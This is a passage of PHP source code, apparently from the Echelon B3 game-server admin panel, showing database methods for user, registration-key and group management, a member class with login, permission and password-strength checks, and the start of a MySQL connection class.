? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('sssi', $name, $email, $timezone, $user_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows != 1) \r\n\t\t\treturn false; // if nothing happened\r\n\t\telse\r\n\t\t\treturn true; // retrun true (it happened)\r\n\t\t\r\n\t\t$stmt->close(); // close connection\r\n\t}\r\n\t\r\n\t/**\r\n\t * Allows user to edit their password\r\n\t *\r\n\t * @param string $password_new - new password in hash form\r\n\t * @param string $salt_new - the new salt for that user\r\n\t * @param int $user_id - id of the user to update\r\n\t * @return bool\r\n\t */\r\n\tfunction editMePW($password_new, $salt_new, $user_id) { // update a user with a new pw and salt\r\n\t\t$query = \"UPDATE ech_users SET password = ?, salt = ? WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ssi', $password_new, $salt_new, $user_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows != 1)\r\n\t\t\treturn false;\r\n\t\telse\r\n\t\t\treturn true;\r\n\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Add a key key to the user_keys table to allow registration\r\n\t *\r\n\t * @param string $user_key - unique key (40 char hash)\r\n\t * @param string $email - email address of the user the key is for\r\n\t * @param string $comment - comment as to why the user was added\r\n\t * @param int $perms - value of perms this user is allowed access to\r\n\t * @param int $admin_id - id of the admin who added this key\r\n\t * @return bool\r\n\t */\r\n\tfunction addEchKey($user_key, $email, $comment, $group, $admin_id) {\r\n\t\t$time = time();\r\n\t\t// key, ech_group, admin_id, comment, time_add, email, active\r\n\t\t$query = \"INSERT INTO ech_user_keys VALUES(?, ?, ?, ?, ?, ?, 1)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('siisis', $user_key, $group, $admin_id, $comment, $time, $email);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Delete a registration key\r\n\t *\r\n\t * @param string $key - unique key to delete\r\n\t * @return bool\r\n\t */\r\n\tfunction delKey($key) {\r\n\t\r\n\t\t$query = \"DELETE FROM ech_user_keys WHERE reg_key = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query);\r\n\t\t$stmt->bind_param('s', $key);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\t\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Edit a registration key's comment\r\n\t *\r\n\t * @param string $key - unique key to delete\r\n\t * @param string $comment - the new comment text\r\n\t * @param int $admin_id - the admin who created the key is the only person who can edit the key\r\n\t * @return bool\r\n\t */\r\n\tfunction editKeyComment($key, $comment, $admin_id){\r\n\t\r\n\t\t$query = \"UPDATE ech_user_keys SET comment = ? WHERE reg_key = ? AND admin_id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ssi', $comment, $key, $admin_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\t\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Verify that the supplied user key, email are valid, that the key has not expired or already been used\r\n\t *\r\n\t * @param string $key - unique key to search for\r\n\t * @param string $email - email address connected with each key\r\n\t * @param string $key_expire - lenght in days of how long a key is active for\r\n\t * @return bool\r\n\t */\r\n\tfunction verifyRegKey($key, $email, $key_expire) {\r\n\t\t$limit_seconds = $key_expire*24*60*60; // user_key_limit is sent in days so we must convert it\r\n\t\t$time = time();\r\n\t\t$expires = $time+$limit_seconds;\r\n\t\r\n\t\t$query = \"SELECT reg_key, email FROM ech_user_keys WHERE reg_key = ? AND email = ? AND active = 1 AND time_add < ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ssi', $key, $email, $expires);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->store_result(); // store results\r\n\r\n\t\tif($stmt->num_rows == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Find the perms and admin_id assoc with that unique key\r\n\t *\r\n\t * @param string $key - unique key to search with\r\n\t * @return string\r\n\t */\r\n\tfunction getGroupAndIdWithKey($key) {\r\n\t\r\n\t\t$query = \"SELECT ech_group, admin_id FROM ech_user_keys WHERE reg_key = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('s', $key);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($group, $admin_id); // store results\t\r\n\t\t$stmt->fetch();\r\n\t\t\r\n\t\t$result = array($group, $admin_id);\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\treturn $result;\r\n\t}\r\n\t\r\n\tfunction getIdWithKey($key) {\r\n\t\r\n\t\t$query = \"SELECT admin_id FROM ech_user_keys WHERE reg_key = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('s', $key);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->store_result();\r\n\t\t\r\n\t\tif($stmt->num_rows == 1) {\r\n\t\t\t$stmt->bind_result($value); // store results\t\r\n\t\t\t$stmt->fetch();\r\n\t\t\t$stmt->free_result();\r\n\t\t\t$stmt->close();\r\n\t\t\treturn $value;\r\n\t\t} else\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Gets an array of data for the settings form\r\n\t *\r\n\t * @param string $key - the key to deactive\r\n\t * @return bool\r\n\t */\r\n\tfunction deactiveKey($key) {\r\n\t\t$query = \"UPDATE ech_user_keys SET active = 0 WHERE reg_key = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('s', $key);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Add the user information the users table\r\n\t *\r\n\t * @param string $username - username of user\r\n\t * @param string $display - display name of user\r\n\t * @param string $email - email of user\r\n\t * @param string $password - password\r\n\t * @param string $salt - salt string for the password\r\n\t * @param string $group - group for the user\r\n\t * @param string $admin_id - id of the admin who added the user key\r\n     * @param string $timezone - timezone support\r\n\t * @return bool\r\n\t */\r\n\tfunction addUser($username, $display, $email, $password, $salt, $group, $admin_id) {\r\n\t\t$time = time();\r\n\t\t// id, username, display, email, password, salt, ip, group, admin_id, first_seen, last_seen, timezone\r\n\t\t$query = \"INSERT INTO ech_users VALUES(NULL, ?, ?, ?, ?, ?, NULL, ?, ?, ?, NULL, NULL)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('sssssiii', $username, $display, $email, $password, $salt, $group, $admin_id, $time);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t}\r\n\r\n\t/**\r\n\t * Deletes a user\r\n\t *\r\n\t * @param string $id - id of user to deactive\r\n\t * @return bool\r\n\t */\r\n\tfunction delUser($user_id) {\r\n\t\t$query = \"DELETE FROM ech_users WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('i', $user_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction editUser($id, $username, $display, $email, $ech_group) {\r\n\t\t$query = \"UPDATE ech_users SET username = ?, display = ?, email = ?, ech_group = ? WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('sssii', $username, $display, $email, $ech_group, $id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\t\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Gets a user's details (for SA view/edit)\r\n\t *\r\n\t * @param string $id - id of user\r\n\t * @return array\r\n\t */\r\n\tfunction getUserDetails($id) {\r\n\t\t$query = \"SELECT u.username, u.display, u.email, u.ip, u.ech_group, u.admin_id, u.first_seen, u.last_seen, a.display \r\n\t\t\t\t  FROM ech_users u LEFT JOIN ech_users a ON u.admin_id = a.id WHERE u.id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('i', $id);\r\n\t\t$stmt->execute();\r\n\t\r\n\t\t$stmt->store_result();\r\n\t\t$stmt->bind_result($username, $display, $email, $ip, $group, $admin_id, $first_seen, $last_seen, $admin_name);\r\n\t\t$stmt->fetch();\r\n\r\n\t\tif($stmt->num_rows == 1) :\r\n\t\t\t$data = array($username, $display, $email, $ip, $group, $admin_id, $first_seen, $last_seen, $admin_name);\r\n\t\t\treturn $data;\r\n\t\telse :\r\n\t\t\treturn false;\r\n\t\tendif;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\tfunction getUserDetailsEdit($id) {\r\n\t\t$query = \"SELECT username, display, email, ech_group FROM ech_users WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('i', $id);\r\n\t\t$stmt->execute();\r\n\t\r\n\t\t$stmt->store_result();\r\n\t\t$stmt->bind_result($username, $display, $email, $group_id);\r\n\t\t$stmt->fetch();\r\n\r\n\t\tif($stmt->num_rows == 1) :\r\n\t\t\t$data = array($username, $display, $email, $group_id);\r\n\t\t\treturn $data;\r\n\t\telse :\r\n\t\t\treturn false;\r\n\t\tendif;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Verifies if a user name and email exist\r\n\t *\r\n\t * @param string $name - username of user\r\n\t * @param string $email - email address of user\r\n\t * @return int($user_id)/bool(false)\r\n\t */\r\n\tfunction verifyUser($name, $email) {\r\n\t\r\n\t\t$query = \"SELECT id FROM ech_users WHERE username = ? AND email = ? LIMIT 1\";\r\n\t\t$stmt =  $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ss', $name, $email);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->store_result();\r\n\t\tif($stmt->num_rows == 1) {\r\n\t\t\t$stmt->bind_result($user_id);\r\n\t\t\t$stmt->fetch();\r\n\t\t\treturn $user_id;\r\n\t\t} else {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Gets an array of the echelon groups\r\n\t *\r\n\t * @return array\r\n\t */\r\n\tfunction getGroups() {\r\n\t\t$query = \"SELECT id, namep FROM ech_groups ORDER BY id ASC\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($id, $display);\r\n\t\t\r\n\t\twhile($stmt->fetch()) :\r\n\t\t\t$groups[] = array(\r\n\t\t\t\t'id' => $id,\r\n\t\t\t\t'display' => $display\r\n\t\t\t);\r\n\t\tendwhile;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\treturn $groups;\t\r\n\t}\r\n\t\r\n\tfunction getGroupInfo($group_id) {\r\n\t\t$query = \"SELECT namep, premissions FROM ech_groups WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('DB Error');\r\n\t\t$stmt->bind_param('i', $group_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->bind_result($display, $perms);\r\n\t\t$stmt->fetch();\r\n\t\t$result = array($display, $perms);\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\treturn $result;\r\n\t}\r\n\t\r\n\tfunction getEchLogs($id, $game_id = NULL, $type = 'client') {\r\n\t\t$query = \"SELECT log.id, log.type, log.msg, log.client_id, log.user_id, log.time_add, log.game_id, u.display \r\n\t\t\t\t  FROM ech_logs log LEFT JOIN ech_users u ON log.user_id = u.id \";\r\n\t\t\r\n\t\tif($type == 'admin')\r\n\t\t\t$query .= \"WHERE user_id = ?\";\r\n\t\telse\r\n\t\t\t$query .= \"WHERE client_id = ? AND game_id = ?\";\r\n\t\t\t\r\n\t\t$query .= \" ORDER BY log.time_add DESC\";\r\n\t\t\t\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\tif($type == 'admin')\r\n\t\t\t$stmt->bind_param('i', $id);\r\n\t\telse\r\n\t\t\t$stmt->bind_param('ii', $id, $game_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->store_result();\r\n\t\t$stmt->bind_result($id, $type, $msg, $client_id, $user_id, $time_add, $game_id, $user_name);\r\n\t\t\r\n\t\twhile($stmt->fetch()) :\r\n\t\t\t$ech_logs[] = array(\r\n\t\t\t\t'id' => $id,\r\n\t\t\t\t'type' => $type,\r\n\t\t\t\t'msg' => $msg,\r\n\t\t\t\t'client_id' => $client_id,\r\n\t\t\t\t'user_id' => $user_id,\r\n\t\t\t\t'user_name' => $user_name,\r\n\t\t\t\t'game_id' => $game_id,\r\n\t\t\t\t'time_add' => $time_add\r\n\t\t\t); \t\r\n\t\tendwhile;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\treturn $ech_logs;\r\n\t}\r\n\t\r\n\tfunction addEchLog($type, $comment, $cid, $user_id, $game_id) {\r\n\t\t// id, type, msg, client_id, user_id, time_add, game_id\r\n\t\t$query = \"INSERT INTO ech_logs VALUES(NULL, ?, ?, ?, ?, UNIX_TIMESTAMP(), ?)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ssiii', $type, $comment, $cid, $user_id, $game_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Gets an array of the external links from the db\r\n\t */\r\n\tfunction getLinks() {\r\n\t\t$query = \"SELECT * FROM ech_links\";\r\n\t\t\r\n\t\t$links = $this->query($query);\r\n\t\t\r\n\t\treturn $links;\r\n\t}\r\n\t\r\n\tfunction setGroupPerms($group_id, $perms) {\r\n\t\t$query = \"UPDATE ech_groups SET premissions = ? WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('DB Error');\r\n\t\t$stmt->bind_param('si', $perms, $group_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction addGroup($name, $slug, $perms) {\r\n\t\t$query = \"INSERT INTO ech_groups VALUES(NULL, ?, ?, ?)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('DB Error');\r\n\t\t$stmt->bind_param('sss', $name, $slug, $perms);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect == 1)\r\n\t\t\treturn true;\r\n\t\telse\t\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction delServer($id) {\r\n\t\t$query = \"DELETE FROM ech_servers WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('DB Error');\r\n\t\t$stmt->bind_param('i', $id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction gamesBanList() {\r\n\t\t$query = \"SELECT id, name, db_host, db_user, db_pw, db_name FROM ech_games\";\r\n\t\r\n\t\t$data = $this->query($query);\r\n\t\t\r\n\t\treturn $data;\r\n\t}\r\n\r\n} // end class\r\n", "echelon/classes/members-class.php": "<?php\r\nif (!empty($_SERVER['SCRIPT_FILENAME']) && 'members-class.php' == basename($_SERVER['SCRIPT_FILENAME']))\r\n  \t\tdie ('Please do not load this page directly. Thanks!');\r\n\t\t\r\n## Some User Functions ##\r\n\r\nclass member {\r\n\r\nvar $user_id;\r\nvar $name;\r\nvar $email;\r\n\r\nfunction __construct($user_id, $name, $email) {\r\n\t$this->id = $user_id;\r\n\t$this->name = $name;\r\n\t$this->email = $email;\r\n}\r\n\r\n/**\r\n * Sets the class name var\r\n */\r\nfunction setName($name) {\r\n\t$this->name = $name;\r\n\t$_SESSION['name'] = $this->name;\r\n}\r\n\r\n/**\r\n * Sets the class email var\r\n */\r\nfunction setEmail($email) {\r\n\t$this->email = $email;\r\n\t$_SESSION['email'] = $this->email;\r\n}\r\n\r\n/**\r\n * Checks if a user is logged in or not\r\n *\r\n * @return bool\r\n */\r\nfunction loggedIn() { // are they logged in\r\n\tif($_SESSION['auth']) // if authorised allow access\r\n\t\treturn true;\r\n\telse\r\n\t\treturn false; // if not authorised\r\n}\r\n\r\n/**\r\n * Checks if a user has the rights to view this page, is not locked/banned or not logged in\r\n *\r\n * @param string $name - permission name\r\n */\r\nfunction auth($name) {\r\n\tlocked(); // stop blocked people from acessing\t\r\n\tif(!$this->loggedIn()) { // if not authorised/logged in\r\n\t\t//set_error('Please login to Echelon');\r\n\t\tsendLogin();\r\n\t\texit;\r\n\t}\r\n\tif(!$this->reqLevel($name)) { // if users level is less than needed access, deny entry, and cause error\r\n\t\tset_error('You do not have the correct privilages to view that page');\r\n\t\tsendHome();\r\n\t\texit;\r\n\t}\r\n}\r\n\r\nfunction reqLevel($name) {\r\n\t$perm_required = $_SESSION['perms'][$name];\r\n\tif(!$perm_required) // if users level is less than needed access return false\r\n\t\treturn false;\r\n\telse\r\n\t\treturn true;\r\n}\r\n\r\n/**\r\n * Takes password and generates salt and hash. Then updates their password in the DB\r\n *\r\n * @param string $password - the new password the user\r\n * @param int $user_id - the id of the user that is being edited\r\n * @param int $min_pw_len - min len of password\r\n * @return bool(true)/string(error)\r\n */\r\nfunction genAndSetNewPW($password, $user_id, $min_pw_len) {\r\n\r\n\t// get the DB instance pointer\r\n\t$dbl = DBL::getInstance();\r\n\t\r\n\t// check that the supplied password meets the required password policy for strong passwords\r\n\tif(!$this->pwStrength($password, $min_pw_len)) { // false: not strong enough\r\n\t\treturn 'The password you supplied is not strong enough, a password must be longer than '. $min_pw_len .' character and should follow this <a href=\"http://echelon.bigbrotherbot.net/pw/\" title=\"Echelon Password Policy\">policy</a>.';\r\n\t\texit;\r\n\t}\r\n\t\r\n\t// generate a new salt for the user\r\n\t$salt_new = genSalt();\r\n\t\r\n\t// find the hash of the supplied password and the new salt\r\n\t$password_hash = genPW($password, $salt_new);\r\n\t\r\n\t// update the user with new password and new salt\r\n\t$results_pw = $dbl->editMePW($password_hash, $salt_new, $user_id);\r\n\tif($results_pw == false) {\r\n\t\treturn 'There was an error changing your password';\r\n\t} else\r\n\t\treturn true;\r\n}\r\n\r\n/**\r\n * Echo out the display name in a link, if the display name is not set echo guest.\r\n */\r\nfunction displayName() {\r\n\r\n\tif($this->name == '')\r\n\t\techo 'Guest';\r\n\telse\r\n\t\t#echo '<a href=\"'.PATH.'me.php\" title=\"Go to your own account settings\">'. $this->name .'</a>';\r\n        echo $this->name;\r\n\t\t\r\n\treturn;\r\n}\r\n\r\n/**\r\n * Echo out the time the user was last seen, if there is no time echo out a welcome\r\n *\r\n * @param string $time - time format (default is availble)\r\n */\r\nfunction lastSeen($time_format = 'd M y') {\r\n\r\n\tif($_SESSION['last_seen'] != '')\r\n\t\techo date($time_format, $_SESSION['last_seen']);\r\n\telse\r\n\t\treturn NULL;\r\n}\r\n\r\n\r\n/**\r\n * Using a user's password this func sees if the user inputed the right password for action verification\r\n *\r\n * @param string $password\r\n */\r\nfunction reAuthUser($password, $dbl) {\r\n\r\n\t// Check to see if this person is real\r\n\t$salt = $dbl->getUserSaltById($this->id);\r\n\r\n\tif($salt == false) // only returns false if no salt found, ie. user does not exist\r\n\t\tsendBack('There is a problem, you do not seem to exist!');\r\n\r\n\t$hash_pw = genPW($password, $salt); // hash the inputted pw with the returned salt\r\n\r\n\t// Check to see that the supplied password is correct\r\n\t$validate = $dbl->validateUserRequest($this->id, $hash_pw);\r\n\tif(!$validate) {\r\n\t\thack(1); // add one to hack counter to stop brute force\r\n\t\tsendBack('You have supplied an incorrect current password');\r\n\t}\r\n\t\r\n}\r\n\r\n/**\r\n * Checks if the password is strong enough - uses mutliple checks\r\n *\r\n * @param string $password - the password you wish to check\r\n * @param int $min_pw_len - minimun lenght a password can be\r\n * @return bool (false: not strong enough/ true strong enough)\r\n */\r\nfunction pwStrength($password, $min_pw_len = 8) {\r\n\r\n\t$length = strlen($password); // get the length of the password \r\n\r\n\t$power = 0; // start at 0\r\n\r\n\t// if password is shorter than min required lenght return false\r\n\tif($length < $min_pw_len)\r\n\t\treturn false;\r\n\r\n    // check if password is not all lower case \r\n    if(strtolower($password) != $password)\r\n        $power++;\r\n    \r\n    // check if password is not all upper case \r\n    if(strtoupper($password) == $password)\r\n        $power++;\r\n\r\n    // check string length is 8-16 chars \r\n    if($length >= 8 && $length <= 16)\r\n        $power++;\r\n\r\n    // check if lenth is 17 - 25 chars \r\n    if($length >= 17 && $length <=25)\r\n        $power += 2;\r\n\r\n    // check if length greater than 25 chars \r\n    if($length > 25)\r\n        $power += 3;\r\n    \r\n    // get the numbers in the password \r\n    preg_match_all('/[0-9]/', $password, $numbers);\r\n    $power += count($numbers[0]);\r\n\r\n    // check for special chars \r\n    preg_match_all('/[|!@#$%&*\\/=?,;.:\\-_+~^\\\\\\]/', $password, $specialchars);\r\n    $spec = sizeof($specialchars[0]);\r\n\tif($spec < 2)\r\n\t\t$power--;\r\n\telseif($spec >= 2)\r\n\t\t$power++;\r\n\telseif(($spec > 4) && ($spec <= 5))\r\n\t\t$power += 2;\r\n\telseif(($spec >= 5) && ($lenght/5 >= 2)) // the second part here is a check to that half the password isn't special characters\r\n\t\t$power += 3;\r\n\telse\r\n\t\t$power;\r\n\t\r\n\r\n    // get the number of unique chars \r\n    $chars = str_split($password);\r\n    $num_unique_chars = sizeof( array_unique($chars) );\r\n    $power += floor(($num_unique_chars / 2));\r\n\t\r\n\tif($power > 10)\r\n\t\t$power = 10;\r\n\t\r\n\t// if the password is strong enough return true, else return false\r\n\tif($power >= 5)\r\n\t\treturn true;\r\n\telse\r\n\t\treturn false;\r\n\r\n}\r\n\r\n\r\n#############################\r\n} // end class", "echelon/classes/mysql-class.php": "<?php\r\n\r\n## Die if the user has come to this page directly ##\r\nif (!empty($_SERVER['SCRIPT_FILENAME']) && 'mysql-class.php' == basename($_SERVER['SCRIPT_FILENAME']))\r\n  \t\tdie ('Please do not load this page directly. Thanks!');\r\n\t\t\r\n## file to deal with the connection to the B3 databases ##\r\n/* \r\n* class DB_B3\r\n* @param Host \r\n* @param User \r\n* @param Password \r\n* @param Name \r\n*/  \r\n\r\nclass DB_B3 {\r\n\r\n\t## Settings ##\r\n\tpublic $mysql = NULL; // object var (if connection exists this will not be NULL)\r\n\tpublic $error = FALSE; // was there a DB query error\r\n\tpublic $query_error_pub = NULL;\r\n\tpublic $error_msg;\r\n\r\n\tprivate $error_sec = 'We are having some database problems, please check back later.'; // message to show the public if the DB query/connect fails\r\n\tprivate $error_on = false; // are detailed error reports on (default, can be overidden)\r\n\t\r\n\tprivate static $instance = NULL;\r\n\r\n\t## Connection Vars ##\r\n\tprivate $host; // B3 DB MySQL Host\r\n\tprivate $user; // B3 DB MySQL User\r\n\tprivate $pass; // B3 DB MySQL Password\r\n\tprivate $name; // B3 DB MySQL Database Name\r\n\r\n\t/**\r\n\t * Gets the current instance of the class, there can only be one instance (this make the class a singleton class)\r\n\t * \r\n\t * @return object $instance - the current instance of the class\r\n\t */\r\n\tpublic static function getInstance($host, $user, $pass, $name, $error_on = false) {\r\n\t\tif (!(self::$instance instanceof self))\r\n\t\t\tself::$instance = new self($host, $user, $pass, $name, $error_on);\r\n\r\n        return self::$instance;\r\n    }\r\n\t\r\n\tpublic static function getPointer() {\r\n\t\r\n\t\treturn self::$instance;\r\n\t\r\n\t}\r\n\t\r\n\t/**\r\n\t * Auto Load in sent vars and make connection to the B3 DB\r\n\t */\r\n\tpublic function __construct($host, $user, $pass, $name, $error_on) {\r\n\t\t$this->host = $host;\r\n\t\t$this->user = $user;\r\n\t\t$this->pass = $pass;\r\n\t\t$this->name = $name;\r\n\t\t$this->error_on = $error_on;\r\n\r\n\t\ttry { // try to connect to the DB or die with an error\r\n\t\t\t$this->connectDB();\r\n\t\t\t\t\r\n\t\t} catch (Exception $e) {\r\n\t\t\t// get exception information\r\n\t\t\t$error_msg = strip_tags($e->getMessage());\r\n\t\t\t$code = $e->getCode();\r\n\t\t\t\r\n\t\t\t// log info\r\n\t\t\techLog('mysqlconnect', $error_msg, $code);\r\n\t\t\t\r\n\t\t\t// set vars for outside class\r\n\t\t\t$this->error = true;\r\n\t\t\t$this->error_msg = $error_msg;\r\n\t\t\t\r\n\t\t} // end catch\r\n\t\t\r\n\t} // end constructor function\r\n\t\r\n\t// Do not allow the clone operation\r\n    private function __clone() { }\r\n\t\r\n\t/**\r\n\t * If access to a protected or private function is called\r\n\t */\r\n\tpublic function __call($name, $arg) {\r\n\t\techLog('error', 'System tried to access function '. $name .', a private or protected function in class '. get_class($this)); // log error\r\n\t\techo \"<strong>\" . $name . \"</strong> is a private function that cannot be accessed outside the B3 MySQL class\"; // error out error\r\n    }\r\n\t\r\n\t/**\r\n     * __destruct : Destructor for class, closes the MySQL connection\r\n     */\r\n    public function __destruct() {\r\n        if($this->mysql != NULL) // if it is set/created (defalt starts at NULL)\r\n            @$this->mysql->close(); // close the connection\r\n\t\t//$this->instance = NULL;\r\n    }\r\n\t\r\n\t/**\r\n     * Makes the connection to the DB or throws error\r\n     */\r\n    private function connectDB() {\r\n\t\r\n\t\tif($this->mysql != NULL) // if it is set/created (defalt starts at NULL)\r\n\t\t\t@$this->mysql->close();\r\n\t\t\r\n\t\t// Create new connection\r\n        $this->mysql = @new mysqli($this->host, $this->user, $this->pass, $this->name);\r\n\t\t\r\n\t\t// if there was a connection error \r\n\t\tif (mysqli_connect_errno()) : // NOTE: we are using the procedural method here because of a problem with the OOP method before PHP 5.2.9\r\n\r\n\t\t\t$code = @$this->mysql->connect_errno; // not all versions of PHP respond nicely to this\r\n\t\t\tif(empty($code)) // so if it does not then \r\n\t\t\t\t$code = 1; // set to 1\r\n\t\t\r\n\t\t\tif($this->error_on) // only if settings say show to con error, will we show it, else just say error\r\n\t\t\t\t$error_msg = '<strong>B3 Database Connection Error:</strong> (#'. $code .') '.mysqli_connect_error();\r\n\t\t\telse\r\n\t\t\t\t$error_msg = $this->error_sec;\r\n\t\t\t\t\r\n\t\t\t$traces = NULL;\r\n\t\t\t$log_success = echLog('mysql', $error_msg, $code, $traces);\r\n\t\t\tif(!$log_success)\r\n\t\t\t\tdie('Could not log fatal error');\r\n\t\t\t\t\r\n\t\t\tthrow new Exception($error_msg, $code); // throw new mysql typed exception\r\n\t\t\t\r\n\t\tendif;\r\n    }\r\n\t\r\n\t/**\r\n\t * Handy Query function\r\n\t *\r\n\t * @param string $sql - the SQL query to execute\r\n\t * @param bool $fetch - fetch the data rows or not\r\n\t * @param string $type - typpe of query this is \r\n\t */\r\n\tpublic function query($sql, $fetch = true, $type = 'select') {\r\n\r\n\t\tif($mysql = NULL || $this->error)\r\n\t\t\treturn false;\r\n\t\t\r\n\t\ttry {\r\n\t\t\r\n\t\t\tif($stmt = $this->mysql->prepare($sql))\r\n\t\t\t\t$stmt->execute();\r\n\t\t\telse\r\n\t\t\t\tthrow new MysqlException($this->mysql->error, $this->mysql->errno);\r\n\r\n\t\t} catch (MysqlException $e) {\r\n\t\t\r\n\t\t\t$this->error = true; // there is an error\r\n\t\t\tif($this->error_on) // if detailed errors work\r\n\t\t\t\t$this->error_msg = \"MySQL Query Error (#\". $this->mysql->errno .\"): \". $this->mysql->error;\r\n\t\t\telse\r\n\t\t\t\t$this->error_msg = 